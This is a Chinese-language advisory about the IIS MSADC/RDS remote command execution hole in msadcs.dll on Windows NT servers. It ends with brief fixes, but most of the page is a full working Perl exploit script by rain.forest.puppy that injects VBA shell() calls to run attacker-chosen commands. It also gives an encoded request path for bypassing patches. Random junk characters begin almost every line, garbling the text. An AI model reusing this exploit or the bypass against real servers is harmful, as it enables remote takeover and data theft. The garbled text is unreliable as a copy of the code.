IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
oeF0t'% Tq,xW 涉及程序:
"Cn<x\E b Microsoft NT server
jImw_Q N}X7g0>hV 描述:
%WO4uOi:@ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
#4wia%}u r NT>{
详细:
a8v9j3. 如果你没有时间读详细内容的话,就删除:
f6U
i~ c:\Program Files\Common Files\System\Msadc\msadcs.dll
aF5=k:k 有关的安全问题就没有了。
vI5'npM Tp&7CNl| 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
tXW7G@ !v?WyGbUg 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
|0s)aV|K 关于利用ODBC远程漏洞的描述,请参看:
XFJz\'{ +xojnv http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 7Ug^aA dW} m44X 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
tJ9-8ZT* http://www.microsoft.com/security/bulletins/MS99-025faq.asp x>eV$UJ bTJ l 这里不再论述。
3.@I\p} :Lh`Q"a 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
]~t4E'y)z pGT?=/=* /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
i+4!nf{K 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
p8|u 0/;k g;._Q C~q& #将下面这段保存为txt文件,然后: "perl -x 文件名"
9Pjw<xt |N%#;7 #!perl
1qN+AT #
W_Eur,/` # MSADC/RDS 'usage' (aka exploit) script
k:*(..!0z #
iVAAGZ>am # by rain.forest.puppy
ie4BE' #
@78%6KZ`i # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
_6Qb 3tl # beta test and find errors!
(\*+HZ`(Uu hVf;{p
& use Socket; use Getopt::Std;
P`]p&: getopts("e:vd:h:XR", \%args);
q-R'5p\C?| (^9dp[2 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
2x<4&^ 0o_wy1O1, if (!defined $args{h} && !defined $args{R}) {
-_+,HyJP print qq~
O]%Vh
l Usage: msadc.pl -h <host> { -d <delay> -X -v }
j5~nLo2 -h <host> = host you want to scan (ip or domain)
apw/nhQ.[ -d <seconds> = delay between calls, default 1 second
|]+PDc% -X = dump Index Server path table, if available
^J?y
mo$>0 -v = verbose
[a!*m< -e = external dictionary file for step 5
z!>ml3 Rr"D)|Y;C( Or a -R will resume a command session
*z6m644H 1vUW$)?X ~; exit;}
=+"=|cQ K3-Cuku $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
kcio]@# if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
CaqqH`/E4 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
i27KuPjC if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
P^J #;{R $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
D+('1E? if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
c!Wj^ rLx'.: if (!defined $args{R}){ $ret = &has_msadc;
M~LYq die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
JLu>w:\ j*#k%;c print "Please type the NT commandline you want to run (cmd /c assumed):\n"
cd:VFjT . "cmd /c ";
ObEp0-^? $in=<STDIN>; chomp $in;
WR5W0!'Tf $command="cmd /c " . $in ;
}/g1s71 y vo4 .u if (defined $args{R}) {&load; exit;}
Xot2L{EIUE +~f5dJyk` print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
1YJ@9 *l &try_btcustmr;
I_3{i`g Q5>]f/LD print "\nStep 2: Trying to make our own DSN...";
87q~
nk &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
bC0DzBnM; <0!)}O print "\nStep 3: Trying known DSNs...";
,;~@t:!c &known_dsn;
_&}z+(Ug <nbc
RO. print "\nStep 4: Trying known .mdbs...";
Dx>~^ ^< &known_mdb;
*28:|blbL [E6ZmMB& if (defined $args{e}){
A`ScAzx5{ print "\nStep 5: Trying dictionary of DSN names...";
uG{/yJeU &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
HrH!
'bd #xfPobQ>il print "Sorry Charley...maybe next time?\n";
&l
_NCo2 exit;
dA=T+u .y^T3?}I ##############################################################################
9KDm<Q-mf ;k5B@z/<S sub sendraw { # ripped and modded from whisker
%hV]vm sleep($delay); # it's a DoS on the server! At least on mine...
Y JMaIFt my ($pstr)=@_;
R(W}..U0R" socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
-,^Z5N#\| die("Socket problems\n");
$@@@</VbP if(connect(S,pack "SnA4x8",2,80,$target)){
-cL wjI select(S); $|=1;
L2{b~`UvP print $pstr; my @in=<S>;
r9!,cs select(STDOUT); close(S);
<)VNEy' return @in;
vCsJnKqK } else { die("Can't connect...\n"); }}
6<m9guv 08F~6e6a8 ##############################################################################
I6RF;m:Jw tde&w=ec sub make_header { # make the HTTP request
F%`O$uXA my $msadc=<<EOT
TDZ p1zpXb POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
DA9f\q User-Agent: ACTIVEDATA
26[m7\O Host: $ip
;QqC c!b Content-Length: $clen
akV-|v_ Connection: Keep-Alive
}E&48$0h MVOWJaT(Aq ADCClientVersion:01.06
-i*]Sgese Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
/j;HM[ MoMxKmI --!ADM!ROX!YOUR!WORLD!
WI\jm&H r Content-Type: application/x-varg
_8&a%?R@W Content-Length: $reqlen
EVW\Z 2N. 2b^E8+r9 EOT
">x"BP ; $msadc=~s/\n/\r\n/g;
JE ''Th} return $msadc;}
E4qQ Twq, 6X- ##############################################################################
`!l Qd}W 'A)9h7k} sub make_req { # make the RDS request
LQXMGgp my ($switch, $p1, $p2)=@_;
yL"UBe}v my $req=""; my $t1, $t2, $query, $dsn;
+!eh\.u|] ;kR+jC( if ($switch==1){ # this is the btcustmr.mdb query
U_<k*o@: $query="Select * from Customers where City=" . make_shell();
y?ypRCgO.u $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
HA]5:ck $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
T/iZ"\(~w )kvrQ6 elsif ($switch==2){ # this is general make table query
_<6B.{$\7m $query="create table AZZ (B int, C varchar(10))";
`=19iAp. $dsn="$p1";}
zr^"zcfz& E?cf#;2h8m elsif ($switch==3){ # this is general exploit table query
Bz4;R9_%I $query="select * from AZZ where C=" . make_shell();
;(Kj-,> $dsn="$p1";}
DQ9}('^ z(Q 5?+P elsif ($switch==4){ # attempt to hork file info from index server
HL~DIC% $query="select path from scope()";
LXf* $dsn="Provider=MSIDXS;";}
~w"e 2a +r$ M 9 elsif ($switch==5){ # bad query
h_\OtoRa $query="select";
mV#U=zqb!S $dsn="$p1";}
\VHRI<$+5 7[It $t1= make_unicode($query);
.F/0:) $t2= make_unicode($dsn);
9a0|iy $req = "\x02\x00\x03\x00";
Wh^wKF~% $req.= "\x08\x00" . pack ("S1", length($t1));
X{tfF!+iy $req.= "\x00\x00" . $t1 ;
rL|9Xru $req.= "\x08\x00" . pack ("S1", length($t2));
. 9@y*_9 $req.= "\x00\x00" . $t2 ;
g![?P"i^t $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Hl=M{)q@ return $req;}
p61F@=EL @f`s%o ##############################################################################
iG+=whvL ChRCsu~ sub make_shell { # this makes the shell() statement
O~D]C return "'|shell(\"$command\")|'";}
Z=zD~ka sPRo=LB ##############################################################################
D),hSqJ" F`M`c% sub make_unicode { # quick little function to convert to unicode
=PIarUJ my ($in)=@_; my $out;
}$@ EpM for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
A}G>JL return $out;}
a}V<CBi x/uC)xm ##############################################################################
O]80";Uv $aDkZj sub rdo_success { # checks for RDO return success (this is kludge)
y4Lh:; my (@in) = @_; my $base=content_start(@in);
2!?=I'uMA if($in[$base]=~/multipart\/mixed/){
bj7r"_ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
1R"Z+tNB return 0;}
(\H^KEy wkKSL ##############################################################################
51Q~/ vBYk"a6SD sub make_dsn { # this makes a DSN for us
#BwOWra my @drives=("c","d","e","f");
j
W/*-: print "\nMaking DSN: ";
-> `R[k foreach $drive (@drives) {
]; *?`}# print "$drive: ";
W4$F\y my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
%6E:SI4 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
gp NAM" . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
iHlee=}od $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
{\55\e/C, return 0 if $2 eq "404"; # not found/doesn't exist
aPm2\Sq$ if($2 eq "200") {
O:jaA3 foreach $line (@results) {
gb}>x O return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
C^7M>i } return 0;}
csj4?]gI )}1S
`*J/O ##############################################################################
b_']S0$c\ ?6 //'bO:% sub verify_exists {
a\tv,Lx my ($page)=@_;
E^? 3P'%^ my @results=sendraw("GET $page HTTP/1.0\n\n");
L16">,5 return $results[0];}
S)x5.vo^ [WO>}rGw4 ##############################################################################
q+W*?a) U(5 Yg sub try_btcustmr {
4q*mEV my @drives=("c","d","e","f");
5U6b\jxX my @dirs=("winnt","winnt35","winnt351","win","windows");
Zqj EVVB /7igPNhx foreach $dir (@dirs) {
:I8HRkp print "$dir -> "; # fun status so you can see progress
G3j'A{ foreach $drive (@drives) {
VvTi>2(. print "$drive: "; # ditto
='Yg^:n $reqlen=length( make_req(1,$drive,$dir) ) - 28;
K(rWM>Jv $reqlenlen=length( "$reqlen" );
'1rO&F $clen= 206 + $reqlenlen + $reqlen;
u1ahAk7 U:uFrb, my @results=sendraw(make_header() . make_req(1,$drive,$dir));
a]@BS6 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
fr<V]) else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
RLbo 1"~$(@oxG ##############################################################################
0,j!* }NKnV3G/Z sub odbc_error {
l!j,9wz7 my (@in)=@_; my $base;
DeTLh($\ my $base = content_start(@in);
G<Y}QhFU if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
-YY@[5x?u $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j> dL:V&` $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3]h*6V1$ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
e#(X++G return $in[$base+4].$in[$base+5].$in[$base+6];}
`_!R;f print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
U &RZx&W print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
J
}|6m9k! $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
i= jYl @.} @K ##############################################################################
m.Ki4NUm lQ#='Jqfp sub verbose {
!7Nz_d~n my ($in)=@_;
Z+2 j( return if !$verbose;
1!Afq}| print STDOUT "\n$in\n";}
qe |U*K
2_ @0-vf>e3- ##############################################################################
F"0=r 0}N"L ml sub save {
sf8F h my ($p1, $p2, $p3, $p4)=@_;
6Cgc-KNbk open(OUT, ">rds.save") || print "Problem saving parameters...\n";
.q|k459oi print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
NR98]X close OUT;}
:H>0/^Mg0 w+iIay ##############################################################################
^y[- e9O|
bU$M) sub load {
gjn1ha"h%. my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
,1>n8f77] open(IN,"<rds.save") || die("Couldn't open rds.save\n");
aole`PD,l @p=<IN>; close(IN);
m^>v~Q~~ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
F
h+g@ u6 $target= inet_aton($ip) || die("inet_aton problems");
>tE6^7B* print "Resuming to $ip ...";
#,9#x]U#v $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
qm< mw"] if($p[1]==1) {
KO[,C[;|j $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
mX[J15 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
V#X<Yt my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
sBLOrbo if (rdo_success(@results)){print "Success!\n";}
1u~a*lO} else { print "failed\n"; verbose(odbc_error(@results));}}
$'3'[Nr(;t elsif ($p[1]==3){
:M8y
2fh if(run_query("$p[3]")){
Y6m:d&p=} print "Success!\n";} else { print "failed\n"; }}
2yV^'o) elsif ($p[1]==4){
P4fnBH4OQ if(run_query($drvst . "$p[3]")){
mI5!rrRD| print "Success!\n"; } else { print "failed\n"; }}
2^y*O exit;}
yiMqe^zy PQP|V>g ##############################################################################
w9675D+ V/BU(`~i sub create_table {
pj Md my ($in)=@_;
f<M!L>+M6 $reqlen=length( make_req(2,$in,"") ) - 28;
r9n:[A&HE $reqlenlen=length( "$reqlen" );
-Eoq#ULvR $clen= 206 + $reqlenlen + $reqlen;
L| ;WE= my @results=sendraw(make_header() . make_req(2,$in,""));
otlv;3263 return 1 if rdo_success(@results);
R# ZO<g%' my $temp= odbc_error(@results); verbose($temp);
gv,1 CK return 1 if $temp=~/Table 'AZZ' already exists/;
u>/Jb+ return 0;}
+0)H~
qB\ yz=aJ
v;
H ##############################################################################
/Ow@CB myF/_o&Ty sub known_dsn {
p#
|}
o9 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Sl'{rol'
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
sY:=bU^P "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
~l]g4iEp "banner", "banners", "ads", "ADCDemo", "ADCTest");
b8!
+v<
\l= foreach $dSn (@dsns) {
Z=oGyA print ".";
vbfQy2q next if (!is_access("DSN=$dSn"));
Z1{>"o:@ if(create_table("DSN=$dSn")){
o{3>n"\w3 print "$dSn successful\n";
0wt4C% .0 if(run_query("DSN=$dSn")){
~-#Jcw$+n= print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
9-!G Ya'Z print "Something's borked. Use verbose next time\n";}}} print "\n";}
'xGTaKlm, "O~kIT?/v ##############################################################################
-t: U4r( "[0.a\ d< sub is_access {
C8D`:k
my ($in)=@_;
SGu`vN] $reqlen=length( make_req(5,$in,"") ) - 28;
Z>pZ| $reqlenlen=length( "$reqlen" );
Q 3/J@MC $clen= 206 + $reqlenlen + $reqlen;
Y|buQQ| my @results=sendraw(make_header() . make_req(5,$in,""));
A=wG};%_ my $temp= odbc_error(@results);
)r?-_qj= verbose($temp); return 1 if ($temp=~/Microsoft Access/);
sgRWjrc/ return 0;}
D4sp+ 7"1]5\p^g ##############################################################################
6Ad=#MM L%+mD$@u sub run_query {
G&08Qb ,N my ($in)=@_;
ZEso2|
$reqlen=length( make_req(3,$in,"") ) - 28;
Hwcm t!y $reqlenlen=length( "$reqlen" );
Dt(xj}[tC $clen= 206 + $reqlenlen + $reqlen;
BZ(I]:oDL my @results=sendraw(make_header() . make_req(3,$in,""));
1x8wQ/p| return 1 if rdo_success(@results);
^bq,+1;@Q my $temp= odbc_error(@results); verbose($temp);
5v^tPGg4 return 0;}
NryOdt tI jB`:(5%RO ##############################################################################
+!ZfJZls / }*}r sub known_mdb {
u:^sEk"Lk' my @drives=("c","d","e","f","g");
<GF^VT|Ce my @dirs=("winnt","winnt35","winnt351","win","windows");
!t}yoN
n| my $dir, $drive, $mdb;
*%*Bo9a/ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Hbn78,~. =.w~qL # this is sparse, because I don't know of many
$hMD6<e my @sysmdbs=( "\\catroot\\icatalog.mdb",
Cj$:TWYIh[ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
dsH*9t:z "\\system32\\certmdb.mdb",
TFAR>8Nm "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
VfozqUf '8[;
m_S my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Tgh?=]H "\\cfusion\\cfapps\\forums\\forums_.mdb",
-hc8IS "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
v0?SN>fZ "\\cfusion\\cfapps\\security\\realm_.mdb",
vmh>|N4a7 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
3gnO)"$ "\\cfusion\\database\\cfexamples.mdb",
&x;n^W;# "\\cfusion\\database\\cfsnippets.mdb",
>P]gjYN "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
xsiJI1/68 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Z{gm4YV "\\cfusion\\brighttiger\\database\\cleam.mdb",
;#9ioGx "\\cfusion\\database\\smpolicy.mdb",
%>5>wP "\\cfusion\\database\cypress.mdb",
_?bO
/y_y "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Ubgn^+AI "\\website\\cgi-win\\dbsample.mdb",
7D1$cmtH "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
IR#BSfBZ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
c=zSq%e
); #these are just
jAU&h@ foreach $drive (@drives) {
hRMya#%- foreach $dir (@dirs){
(4Nj3x
o foreach $mdb (@sysmdbs) {
{e q378d print ".";
9M5W4& if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Ay PtbrO print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
@DF7j|]tV if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
vn!3Z! dm( print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
jw`05rw: } else { print "Something's borked. Use verbose next time\n"; }}}}}
#Ge_3^' i,S1|R foreach $drive (@drives) {
xaVn.&Wl foreach $mdb (@mdbs) {
r?!:%L print ".";
BC\W`K if(create_table($drv . $drive . $dir . $mdb)){
"eqzn KT%u print "\n" . $drive . $dir . $mdb . " successful\n";
[YZgQ if(run_query($drv . $drive . $dir . $mdb)){
!0vLSF= print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
b`@C #qB } else { print "Something's borked. Use verbose next time\n"; }}}}
&FuL{YL }
s;Gg )(_NFpM ##############################################################################
-e_op'` Js vdC]+ sub hork_idx {
`(
w"{8laB print "\nAttempting to dump Index Server tables...\n";
lfre-pS+ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
p|8ZHR+ $reqlen=length( make_req(4,"","") ) - 28;
{f@Q&(g $reqlenlen=length( "$reqlen" );
\KzJNCOT $clen= 206 + $reqlenlen + $reqlen;
+I3O/=) my @results=sendraw2(make_header() . make_req(4,"",""));
maN2(1hz
if (rdo_success(@results)){
szb@2fK my $max=@results; my $c; my %d;
2ij&Db/ for($c=19; $c<$max; $c++){
Dh}(B$~Oz+ $results[$c]=~s/\x00//g;
^;rjs|`K# $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
CWocb=E $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
3u& ,3: $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
:~#)Xa0I $d{"$1$2"}="";}
W]bgWKd foreach $c (keys %d){ print "$c\n"; }
x)GheM^ } else {print "Index server doesn't seem to be installed.\n"; }}
zBu@a:E%H 9t6c*|60#n ##############################################################################
9x|`XAB C#^y{q sub dsn_dict {
EwkSUA>Tm open(IN, "<$args{e}") || die("Can't open external dictionary\n");
^+v1[U@ while(<IN>){
d~QM@<SV $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
t$wbwP next if (!is_access("DSN=$dSn"));
r-TrA$k if(create_table("DSN=$dSn")){
=&,T@5&-= print "$dSn successful\n";
4dcm)Xr if(run_query("DSN=$dSn")){
E}v8Q~A( print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
}Z FoCMM print "Something's borked. Use verbose next time\n";}}}
|w54!f6w_ print "\n"; close(IN);}
'4<o&b^yQ %ut8/T ##############################################################################
|R _rfJh Tjq1[Wq sub sendraw2 { # ripped and modded from whisker
6/5,n0 sleep($delay); # it's a DoS on the server! At least on mine...
BgQ/$, my ($pstr)=@_;
J?yasjjgP socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
M<d!j I9) die("Socket problems\n");
ENIg_s4 if(connect(S,pack "SnA4x8",2,80,$target)){
q4&! mDU print "Connected. Getting data";
A[ncwJ open(OUT,">raw.out"); my @in;
jC4>%!{m select(S); $|=1; print $pstr;
vdC0tax while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
[l3\0e6-/ close(OUT); select(STDOUT); close(S); return @in;
$
P5K } else { die("Can't connect...\n"); }}
X% j`rQk` {H)hoAenA ##############################################################################
{+=hYB|& P.C?/7$7Z+ sub content_start { # this will take in the server headers
|Z{#DOT my (@in)=@_; my $c;
?d^6ynzn for ($c=1;$c<500;$c++) {
mL2J if($in[$c] =~/^\x0d\x0a/){
:PW"7|c! if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
$!MP0f\q
g else { return $c+1; }}}
vI0,6fOd6 return -1;} # it should never get here actually
6?~9{0 0NGth(2 ##############################################################################
D
5n\h5 +pwTM]bV sub funky {
"nCK%w= my (@in)=@_; my $error=odbc_error(@in);
5WJ ~%"O if($error=~/ADO could not find the specified provider/){
ndzADVP print "\nServer returned an ADO miscofiguration message\nAborting.\n";
GdI,&|/ exit;}
ye9GBAj
/ if($error=~/A Handler is required/){
2[ofz}k]r) print "\nServer has custom handler filters (they most likely are patched)\n";
gBv!E9~l exit;}
[,,@>nyD if($error=~/specified Handler has denied Access/){
$"W[e"Q print "\nServer has custom handler filters (they most likely are patched)\n";
#e-K It exit;}}
QK[^G6TI \} v@!PQl ##############################################################################
@jm +TW @n?"*B sub has_msadc {
4KtD
k my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
oI/_WY[t my $base=content_start(@results);
][jwy-Uy; return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
; _c&J&I return 0;}
(ct1i>g os"R'GYmf ########################
Qe>_\-f
VsL,t\67 G\dPGPPM
解决方案:
e'A_4;~@s 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
BInSS*L 2、移除web 目录: /msadc